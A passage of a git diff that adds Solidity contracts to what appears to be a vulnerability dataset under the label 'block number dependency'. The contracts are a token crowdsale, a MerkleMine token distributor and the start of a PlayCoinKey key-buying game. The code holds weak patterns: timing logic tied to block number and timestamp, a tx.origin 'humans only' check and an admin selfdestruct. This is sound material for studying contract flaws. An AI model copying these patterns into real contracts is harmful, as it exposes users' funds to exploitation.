return PRESALE_PERCENTAGE_5; + } else { + return PRESALE_PERCENTAGE_4; + } + } else { + return PRESALE_PERCENTAGE_3; + } + } else { + return PRESALE_PERCENTAGE_2; + } + } else { + return PRESALE_PERCENTAGE_1; + } + } else { + return 0; + } + } + + function finalize() public onlyOwner { + require(paused); + require(!finalized); + surplusTokens = cap - tokensMinted; + ledToken.mint(ledMultiSig, surplusTokens); + ledToken.transferControl(owner); + + emit Finalized(); + + finalized = true; + } + + function getInfo() public view returns(uint256, uint256, string, bool, uint256, uint256, uint256, + bool, uint256, uint256){ + uint256 decimals = 18; + string memory symbol = "LED"; + bool transfersEnabled = ledToken.transfersEnabled(); + return ( + TOTAL_TOKENCAP, + decimals, + symbol, + transfersEnabled, + contributors, + totalWeiRaised, + tokenCap, + started, + startTime, + endTime + ); + } + + function getInfoLevels() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, + uint256, uint256, uint256, uint256){ + return ( + PRESALE_LEVEL_1, + PRESALE_LEVEL_2, + PRESALE_LEVEL_3, + PRESALE_LEVEL_4, + PRESALE_LEVEL_5, + PRESALE_PERCENTAGE_1, + PRESALE_PERCENTAGE_2, + PRESALE_PERCENTAGE_3, + PRESALE_PERCENTAGE_4, + PRESALE_PERCENTAGE_5 + ); + } + +} + + +contract PrivateSale is Crowdsale { + + uint256 public tokenCap = PRIVATESALE_TOKENCAP; + uint256 public cap = tokenCap * DECIMALS_MULTIPLIER; + uint256 public weiCap = tokenCap * PRIVATESALE_BASE_PRICE_IN_WEI; + + constructor(address _tokenAddress, uint256 _startTime, uint256 _endTime) public { + + + startTime = _startTime; + endTime = _endTime; + ledToken = LedTokenInterface(_tokenAddress); + + assert(_tokenAddress != 0x0); + assert(_startTime > 0); + assert(_endTime > _startTime); + } + + + function() public payable { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) public payable whenNotPaused whenNotFinalized { + require(_beneficiary != 0x0); + require(validPurchase()); + + + uint256 weiAmount = msg.value; + require(weiAmount >= MIN_PURCHASE_OTHERSALES && weiAmount <= MAX_PURCHASE); + uint256 priceInWei = PRIVATESALE_BASE_PRICE_IN_WEI; + totalWeiRaised = totalWeiRaised.add(weiAmount); + + uint256 tokens = weiAmount.mul(DECIMALS_MULTIPLIER).div(priceInWei); + tokensMinted = tokensMinted.add(tokens); + require(tokensMinted < cap); + + contributors = contributors.add(1); + + ledToken.mint(_beneficiary, tokens); + emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); + forwardFunds(); + } + + function finalize() public onlyOwner { + require(paused); + require(!finalized); + surplusTokens = cap - tokensMinted; + ledToken.mint(ledMultiSig, surplusTokens); + ledToken.transferControl(owner); + + emit Finalized(); + + finalized = true; + } + + function getInfo() public view returns(uint256, uint256, string, bool, uint256, uint256, uint256, + bool, uint256, uint256){ + uint256 decimals = 18; + string memory symbol = "LED"; + bool transfersEnabled = ledToken.transfersEnabled(); + return ( + TOTAL_TOKENCAP, + decimals, + symbol, + transfersEnabled, + contributors, + totalWeiRaised, + tokenCap, + started, + startTime, + endTime + ); + } + +} + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + +contract TokenFactory { + + function createCloneToken( + address _parentToken, + uint _snapshotBlock, + string _tokenName, + string _tokenSymbol + ) public returns (LedToken) { + + LedToken newToken = new LedToken( + this, + _parentToken, + _snapshotBlock, + _tokenName, + _tokenSymbol + ); + + newToken.transferControl(msg.sender); + return newToken; + } +} + +contract TokenFactoryInterface { + + function createCloneToken( + address _parentToken, + uint _snapshotBlock, + string _tokenName, + string _tokenSymbol + ) public returns (LedToken newToken); +} + + +contract TokenSale is Crowdsale { + + uint256 public tokenCap = ICO_TOKENCAP; + uint256 public cap = tokenCap * DECIMALS_MULTIPLIER; + uint256 public weiCap = tokenCap * ICO_BASE_PRICE_IN_WEI; + + uint256 public allocatedTokens; + + constructor(address _tokenAddress, uint256 _startTime, uint256 _endTime) public { + + + startTime = _startTime; + endTime = _endTime; + ledToken = LedTokenInterface(_tokenAddress); + + assert(_tokenAddress != 0x0); + assert(_startTime > 0); + assert(_endTime > _startTime); + } + + + function() public payable { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) public payable whenNotPaused whenNotFinalized { + require(_beneficiary != 0x0); + require(validPurchase()); + + uint256 weiAmount = msg.value; + require(weiAmount >= MIN_PURCHASE_OTHERSALES && weiAmount <= MAX_PURCHASE); + uint256 priceInWei = ICO_BASE_PRICE_IN_WEI; + totalWeiRaised = totalWeiRaised.add(weiAmount); + + uint256 bonusPercentage = determineBonus(weiAmount); + uint256 bonusTokens; + + uint256 initialTokens = weiAmount.mul(DECIMALS_MULTIPLIER).div(priceInWei); + if(bonusPercentage>0){ + uint256 initialDivided = initialTokens.div(100); + bonusTokens = initialDivided.mul(bonusPercentage); + } else { + bonusTokens = 0; + } + uint256 tokens = initialTokens.add(bonusTokens); + tokensMinted = tokensMinted.add(tokens); + require(tokensMinted < cap); + + contributors = contributors.add(1); + + ledToken.mint(_beneficiary, tokens); + emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); + forwardFunds(); + } + + function determineBonus(uint256 _wei) public view returns (uint256) { + if(_wei > ICO_LEVEL_1) { + if(_wei > ICO_LEVEL_2) { + if(_wei > ICO_LEVEL_3) { + if(_wei > ICO_LEVEL_4) { + if(_wei > ICO_LEVEL_5) { + return ICO_PERCENTAGE_5; + } else { + return ICO_PERCENTAGE_4; + } + } else { + return ICO_PERCENTAGE_3; + } + } else { + return ICO_PERCENTAGE_2; + } + } else { + return ICO_PERCENTAGE_1; + } + } else { + return 0; + } + } + + function allocateLedTokens() public onlyOwner whenNotFinalized { + require(!ledTokensAllocated); + allocatedTokens = LEDTEAM_TOKENS.mul(DECIMALS_MULTIPLIER); + ledToken.mint(ledMultiSig, allocatedTokens); + ledTokensAllocated = true; + } + + function finalize() public onlyOwner { + require(paused); + require(ledTokensAllocated); + + surplusTokens = cap - tokensMinted; + ledToken.mint(ledMultiSig, surplusTokens); + + ledToken.finishMinting(); + ledToken.enableTransfers(true); + emit Finalized(); + + finalized = true; + } + + function getInfo() public view returns(uint256, uint256, string, bool, uint256, uint256, uint256, + bool, uint256, uint256){ + uint256 decimals = 18; + string memory symbol = "LED"; + bool transfersEnabled = ledToken.transfersEnabled(); + return ( + TOTAL_TOKENCAP, + decimals, + symbol, + transfersEnabled, + contributors, + totalWeiRaised, + tokenCap, + started, + startTime, + endTime + ); + } + + function getInfoLevels() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, + uint256, uint256, uint256, uint256){ + return ( + ICO_LEVEL_1, + ICO_LEVEL_2, + ICO_LEVEL_3, + ICO_LEVEL_4, + ICO_LEVEL_5, + ICO_PERCENTAGE_1, + ICO_PERCENTAGE_2, + ICO_PERCENTAGE_3, + ICO_PERCENTAGE_4, + ICO_PERCENTAGE_5 + ); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2990.sol b/smart_contract_dataset/block number dependency/2990.sol new file mode 100644 index 0000000000000000000000000000000000000000..46d8dd80835f537b8b2a427f7a1bf4c581c119e0 --- /dev/null +++ b/smart_contract_dataset/block number dependency/2990.sol @@ -0,0 +1,350 @@ +pragma solidity 0.4.24; + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + +library MerkleProof { + + function verifyProof(bytes _proof, bytes32 _root, bytes32 _leaf) public pure returns (bool) { + + if (_proof.length % 32 != 0) return false; + + bytes32 proofElement; + bytes32 computedHash = _leaf; + + for (uint256 i = 32; i <= _proof.length; i += 32) { + assembly { + + proofElement := mload(add(_proof, i)) + } + + if (computedHash < proofElement) { + + computedHash = keccak256(computedHash, proofElement); + } else { + + computedHash = keccak256(proofElement, computedHash); + } + } + + + return computedHash == _root; + } +} + + +contract MerkleMine { + using SafeMath for uint256; + + + ERC20 public token; + + bytes32 public genesisRoot; + + uint256 public totalGenesisTokens; + + uint256 public totalGenesisRecipients; + + uint256 public tokensPerAllocation; + + uint256 public balanceThreshold; + + uint256 public genesisBlock; + + + uint256 public callerAllocationStartBlock; + + uint256 public callerAllocationEndBlock; + + uint256 public callerAllocationPeriod; + + + bool public started; + + + mapping (address => bool) public generated; + + + modifier notGenerated(address _recipient) { + require(!generated[_recipient]); + _; + } + + + modifier isStarted() { + require(started); + _; + } + + + modifier isNotStarted() { + require(!started); + _; + } + + event Generate(address indexed _recipient, address indexed _caller, uint256 _recipientTokenAmount, uint256 _callerTokenAmount, uint256 _block); + + + function MerkleMine( + address _token, + bytes32 _genesisRoot, + uint256 _totalGenesisTokens, + uint256 _totalGenesisRecipients, + uint256 _balanceThreshold, + uint256 _genesisBlock, + uint256 _callerAllocationStartBlock, + uint256 _callerAllocationEndBlock + ) + public + { + + require(_token != address(0)); + + require(_totalGenesisRecipients > 0); + + require(_genesisBlock <= block.number); + + require(_callerAllocationStartBlock > block.number); + + require(_callerAllocationEndBlock > _callerAllocationStartBlock); + + token = ERC20(_token); + genesisRoot = _genesisRoot; + totalGenesisTokens = _totalGenesisTokens; + totalGenesisRecipients = _totalGenesisRecipients; + tokensPerAllocation = _totalGenesisTokens.div(_totalGenesisRecipients); + balanceThreshold = _balanceThreshold; + genesisBlock = _genesisBlock; + callerAllocationStartBlock = _callerAllocationStartBlock; + callerAllocationEndBlock = _callerAllocationEndBlock; + callerAllocationPeriod = _callerAllocationEndBlock.sub(_callerAllocationStartBlock); + } + + + function start() external isNotStarted { + + require(token.balanceOf(this) >= totalGenesisTokens); + + started = true; + } + + + function generate(address _recipient, bytes _merkleProof) external isStarted notGenerated(_recipient) { + + bytes32 leaf = keccak256(_recipient); + + require(MerkleProof.verifyProof(_merkleProof, genesisRoot, leaf)); + + generated[_recipient] = true; + + address caller = msg.sender; + + if (caller == _recipient) { + + require(token.transfer(_recipient, tokensPerAllocation)); + + Generate(_recipient, _recipient, tokensPerAllocation, 0, block.number); + } else { + + + require(block.number >= callerAllocationStartBlock); + + uint256 callerTokenAmount = callerTokenAmountAtBlock(block.number); + uint256 recipientTokenAmount = tokensPerAllocation.sub(callerTokenAmount); + + if (callerTokenAmount > 0) { + require(token.transfer(caller, callerTokenAmount)); + } + + if (recipientTokenAmount > 0) { + require(token.transfer(_recipient, recipientTokenAmount)); + } + + Generate(_recipient, caller, recipientTokenAmount, callerTokenAmount, block.number); + } + } + + + function callerTokenAmountAtBlock(uint256 _blockNumber) public view returns (uint256) { + if (_blockNumber < callerAllocationStartBlock) { + + return 0; + } else if (_blockNumber >= callerAllocationEndBlock) { + + return tokensPerAllocation; + } else { + + + + uint256 blocksSinceCallerAllocationStartBlock = _blockNumber.sub(callerAllocationStartBlock); + return tokensPerAllocation.mul(blocksSinceCallerAllocationStartBlock).div(callerAllocationPeriod); + } + } +} + + +library BytesUtil{ + uint256 internal constant BYTES_HEADER_SIZE = 32; + uint256 internal constant WORD_SIZE = 32; + + + function dataPtr(bytes memory bts) internal pure returns (uint256 addr) { + assembly { + addr := add(bts, 32) + } + } + + + function copy(uint256 src, uint256 dest, uint256 len) internal pure { + + for (; len >= WORD_SIZE; len -= WORD_SIZE) { + assembly { + mstore(dest, mload(src)) + } + dest += WORD_SIZE; + src += WORD_SIZE; + } + + + uint256 mask = 256 ** (WORD_SIZE - len) - 1; + assembly { + let srcpart := and(mload(src), not(mask)) + let destpart := and(mload(dest), mask) + mstore(dest, or(destpart, srcpart)) + } + } + + + function toBytes(uint256 addr, uint256 len) internal pure returns (bytes memory bts) { + bts = new bytes(len); + uint256 btsptr = dataPtr(bts); + copy(addr, btsptr, len); + } + + + function substr(bytes memory bts, uint256 startIndex, uint256 len) internal pure returns (bytes memory) { + require(startIndex + len <= bts.length); + if (len == 0) { + return; + } + uint256 addr = dataPtr(bts); + return toBytes(addr + startIndex, len); + } + + + function readBytes32(bytes memory bts, uint256 startIndex) internal pure returns (bytes32 result) { + require(startIndex + 32 <= bts.length); + + uint256 addr = dataPtr(bts); + + assembly { + result := mload(add(addr, startIndex)) + } + + return result; + } +} + + +contract MultiMerkleMine { + using SafeMath for uint256; + + + function multiGenerate(address _merkleMineContract, address[] _recipients, bytes _merkleProofs) public { + MerkleMine mine = MerkleMine(_merkleMineContract); + ERC20 token = ERC20(mine.token()); + + require( + block.number >= mine.callerAllocationStartBlock(), + "caller allocation period has not started" + ); + + uint256 initialBalance = token.balanceOf(this); + bytes[] memory proofs = new bytes[](_recipients.length); + + + uint256 i = 0; + + uint256 j = 0; + + + while(i < _merkleProofs.length){ + uint256 proofSize = uint256(BytesUtil.readBytes32(_merkleProofs, i)); + + require( + proofSize % 32 == 0, + "proof size must be a multiple of 32" + ); + + proofs[j] = BytesUtil.substr(_merkleProofs, i + 32, proofSize); + + i = i + 32 + proofSize; + j++; + } + + require( + _recipients.length == j, + "number of recipients != number of proofs" + ); + + for (uint256 k = 0; k < _recipients.length; k++) { + + + if (!mine.generated(_recipients[k])) { + mine.generate(_recipients[k], proofs[k]); + } + } + + uint256 newBalanceSinceAllocation = token.balanceOf(this); + uint256 callerTokensGenerated = newBalanceSinceAllocation.sub(initialBalance); + + + if (callerTokensGenerated > 0) { + require(token.transfer(msg.sender, callerTokensGenerated)); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2991.sol b/smart_contract_dataset/block number dependency/2991.sol new file mode 100644 index 0000000000000000000000000000000000000000..58b761f5229b528c8e4ef36d2205dcdd43571e2e --- /dev/null +++ b/smart_contract_dataset/block number dependency/2991.sol @@ -0,0 +1,1806 @@ +pragma solidity ^0.4.24; + + + + + + +contract PCKevents { + + event onNewName + ( + uint256 indexed playerID, + address indexed playerAddress, + bytes32 indexed playerName, + bool isNewPlayer, + uint256 affiliateID, + address affiliateAddress, + bytes32 affiliateName, + uint256 amountPaid, + uint256 timeStamp + ); + + + event onEndTx + ( + uint256 compressedData, + uint256 compressedIDs, + bytes32 playerName, + address playerAddress, + uint256 ethIn, + uint256 keysBought, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 PCPAmount, + uint256 genAmount, + uint256 potAmount, + uint256 airDropPot + ); + + + event onWithdraw + ( + uint256 indexed playerID, + address playerAddress, + bytes32 playerName, + uint256 ethOut, + uint256 timeStamp + ); + + + event onWithdrawAndDistribute + ( + address playerAddress, + bytes32 playerName, + uint256 ethOut, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 PCPAmount, + uint256 genAmount + ); + + + + event onBuyAndDistribute + ( + address playerAddress, + bytes32 playerName, + uint256 ethIn, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 PCPAmount, + uint256 genAmount + ); + + + + event onReLoadAndDistribute + ( + address playerAddress, + bytes32 playerName, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 PCPAmount, + uint256 genAmount + ); + + + event onAffiliatePayout + ( + uint256 indexed affiliateID, + address affiliateAddress, + bytes32 affiliateName, + uint256 indexed roundID, + uint256 indexed buyerID, + uint256 amount, + uint256 timeStamp + ); + + + event onPotSwapDeposit + ( + uint256 roundID, + uint256 amountAddedToPot + ); +} + + + + + + +contract modularKey is PCKevents {} + +contract PlayCoinKey is modularKey { + using SafeMath for *; + using NameFilter for string; + using PCKKeysCalcLong for uint256; + + PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x14229878e85e57FF4109dc27bb2EfB5EA8067E6E); + + + + + string constant public name = "PlayCoin Key"; + string constant public symbol = "PCK"; + uint256 private rndExtra_ = 2 minutes; + uint256 private rndGap_ = 15 minutes; + uint256 constant private rndInit_ = 24 hours; + uint256 constant private rndInc_ = 30 seconds; + uint256 constant private rndMax_ = 24 hours; + uint256 constant private rndMin_ = 10 minutes; + + uint256 public reduceMul_ = 3; + uint256 public reduceDiv_ = 2; + uint256 public rndReduceThreshold_ = 10e18; + bool public closed_ = false; + + address private admin = msg.sender; + + + + + + uint256 public airDropPot_; + uint256 public airDropTracker_ = 0; + uint256 public rID_; + + + + + mapping (address => uint256) public pIDxAddr_; + mapping (bytes32 => uint256) public pIDxName_; + mapping (uint256 => PCKdatasets.Player) public plyr_; + mapping (uint256 => mapping (uint256 => PCKdatasets.PlayerRounds)) public plyrRnds_; + mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; + + + + mapping (uint256 => PCKdatasets.Round) public round_; + mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; + + + + mapping (uint256 => PCKdatasets.TeamFee) public fees_; + mapping (uint256 => PCKdatasets.PotSplit) public potSplit_; + + + + + constructor() + public + { + + + + + + + + + + fees_[0] = PCKdatasets.TeamFee(30,6); + fees_[1] = PCKdatasets.TeamFee(43,0); + fees_[2] = PCKdatasets.TeamFee(56,10); + fees_[3] = PCKdatasets.TeamFee(43,8); + + + + potSplit_[0] = PCKdatasets.PotSplit(15,10); + potSplit_[1] = PCKdatasets.PotSplit(25,0); + potSplit_[2] = PCKdatasets.PotSplit(20,20); + potSplit_[3] = PCKdatasets.PotSplit(30,10); + } + + + + + + modifier isActivated() { + require(activated_ == true, "its not ready yet. check ?eta in discord"); + _; + } + + modifier isRoundActivated() { + require(round_[rID_].ended == false, "the round is finished"); + _; + } + + + modifier isHuman() { + + require(msg.sender == tx.origin, "sorry humans only"); + _; + } + + + modifier isWithinLimits(uint256 _eth) { + require(_eth >= 1000000000, "pocket lint: not a valid currency"); + require(_eth <= 100000000000000000000000, "no vitalik, no"); + _; + } + + modifier onlyAdmins() { + require(msg.sender == admin, "onlyAdmins failed - msg.sender is not an admin"); + _; + } + + + + + function kill () onlyAdmins() public { + require(round_[rID_].ended == true && closed_ == true, "the round is active or not close"); + selfdestruct(admin); + } + + function getRoundStatus() isActivated() public view returns(uint256, bool){ + return (rID_, round_[rID_].ended); + } + + function setThreshold(uint256 _threshold, uint256 _mul, uint256 _div) onlyAdmins() public { + + require(_threshold > 0, "threshold must greater 0"); + require(_mul > 0, "mul must greater 0"); + require(_div > 0, "div must greater 0"); + + + rndReduceThreshold_ = _threshold; + reduceMul_ = _mul; + reduceDiv_ = _div; + } + + function setEnforce(bool _closed) onlyAdmins() public returns(bool, uint256, bool) { + closed_ = _closed; + + + if( !closed_ && round_[rID_].ended == true && activated_ == true ){ + nextRound(); + } + + else if( closed_ && round_[rID_].ended == false && activated_ == true ){ + round_[rID_].end = now - 1; + } + + + return (closed_, rID_, now > round_[rID_].end); + } + + function() + isActivated() + isRoundActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); + } + + + function buyXid(uint256 _affCode, uint256 _team) + isActivated() + isRoundActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + + if (_affCode == 0 || _affCode == _pID) + { + + _affCode = plyr_[_pID].laff; + + + } else if (_affCode != plyr_[_pID].laff) { + + plyr_[_pID].laff = _affCode; + } + + + _team = verifyTeam(_team); + + + buyCore(_pID, _affCode, _team, _eventData_); + } + + function buyXaddr(address _affCode, uint256 _team) + isActivated() + isRoundActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == address(0) || _affCode == msg.sender) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxAddr_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + _team = verifyTeam(_team); + + + buyCore(_pID, _affID, _team, _eventData_); + } + + function buyXname(bytes32 _affCode, uint256 _team) + isActivated() + isRoundActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == '' || _affCode == plyr_[_pID].name) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxName_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + _team = verifyTeam(_team); + + + buyCore(_pID, _affID, _team, _eventData_); + } + + + function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) + isActivated() + isRoundActivated() + isHuman() + isWithinLimits(_eth) + public + { + + PCKdatasets.EventReturns memory _eventData_; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + + if (_affCode == 0 || _affCode == _pID) + { + + _affCode = plyr_[_pID].laff; + + + } else if (_affCode != plyr_[_pID].laff) { + + plyr_[_pID].laff = _affCode; + } + + + _team = verifyTeam(_team); + + + reLoadCore(_pID, _affCode, _team, _eth, _eventData_); + } + + function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) + isActivated() + isRoundActivated() + isHuman() + isWithinLimits(_eth) + public + { + + PCKdatasets.EventReturns memory _eventData_; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == address(0) || _affCode == msg.sender) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxAddr_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + _team = verifyTeam(_team); + + + reLoadCore(_pID, _affID, _team, _eth, _eventData_); + } + + function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) + isActivated() + isRoundActivated() + isHuman() + isWithinLimits(_eth) + public + { + + PCKdatasets.EventReturns memory _eventData_; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == '' || _affCode == plyr_[_pID].name) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxName_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + _team = verifyTeam(_team); + + + reLoadCore(_pID, _affID, _team, _eth, _eventData_); + } + + + function withdraw() + isActivated() + isHuman() + public + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _eth; + + + if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) + { + + PCKdatasets.EventReturns memory _eventData_; + + + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + + + _eth = withdrawEarnings(_pID); + + + if (_eth > 0) + plyr_[_pID].addr.transfer(_eth); + + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; + + + emit PCKevents.onWithdrawAndDistribute + ( + msg.sender, + plyr_[_pID].name, + _eth, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.PCPAmount, + _eventData_.genAmount + ); + + + } else { + + _eth = withdrawEarnings(_pID); + + + if (_eth > 0) + plyr_[_pID].addr.transfer(_eth); + + + emit PCKevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); + } + } + + + function registerNameXID(string _nameString, uint256 _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + + emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + function registerNameXaddr(string _nameString, address _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + + emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + function registerNameXname(string _nameString, bytes32 _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + + emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + + + + + function getBuyPrice() + public + view + returns(uint256) + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); + else + return ( 75000000000000 ); + } + + + function getTimeLeft() + public + view + returns(uint256) + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + if (_now < round_[_rID].end) + if (_now > round_[_rID].strt + rndGap_) + return( (round_[_rID].end).sub(_now) ); + else + return( (round_[_rID].strt + rndGap_).sub(_now) ); + else + return(0); + } + + + function getPlayerVaults(uint256 _pID) + public + view + returns(uint256 ,uint256, uint256) + { + + uint256 _rID = rID_; + + + if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) + { + + if (round_[_rID].plyr == _pID) + { + return + ( + (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), + (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), + plyr_[_pID].aff + ); + + } else { + return + ( + plyr_[_pID].win, + (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), + plyr_[_pID].aff + ); + } + + + } else { + return + ( + plyr_[_pID].win, + (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), + plyr_[_pID].aff + ); + } + } + + + function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) + private + view + returns(uint256) + { + return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); + } + + + function getCurrentRoundInfo() + public + view + returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) + { + + uint256 _rID = rID_; + + return + ( + round_[_rID].ico, + _rID, + round_[_rID].keys, + round_[_rID].end, + round_[_rID].strt, + round_[_rID].pot, + (round_[_rID].team + (round_[_rID].plyr * 10)), + plyr_[round_[_rID].plyr].addr, + plyr_[round_[_rID].plyr].name, + rndTmEth_[_rID][0], + rndTmEth_[_rID][1], + rndTmEth_[_rID][2], + rndTmEth_[_rID][3], + airDropTracker_ + (airDropPot_ * 1000) + ); + } + + + function getPlayerInfoByAddress(address _addr) + public + view + returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) + { + + uint256 _rID = rID_; + + if (_addr == address(0)) + { + _addr == msg.sender; + } + uint256 _pID = pIDxAddr_[_addr]; + + return + ( + _pID, + plyr_[_pID].name, + plyrRnds_[_pID][_rID].keys, + plyr_[_pID].win, + (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), + plyr_[_pID].aff, + plyrRnds_[_pID][_rID].eth + ); + } + + + + + + + function buyCore(uint256 _pID, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_) private { + + + uint256 _rID = rID_; + + + uint256 _now = now; + + + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + { + + core(_rID, _pID, msg.value, _affID, _team, _eventData_); + + + } else { + + + if ( _now > round_[_rID].end && round_[_rID].ended == false ) { + + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + + if( !closed_ ){ + nextRound(); + } + + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs 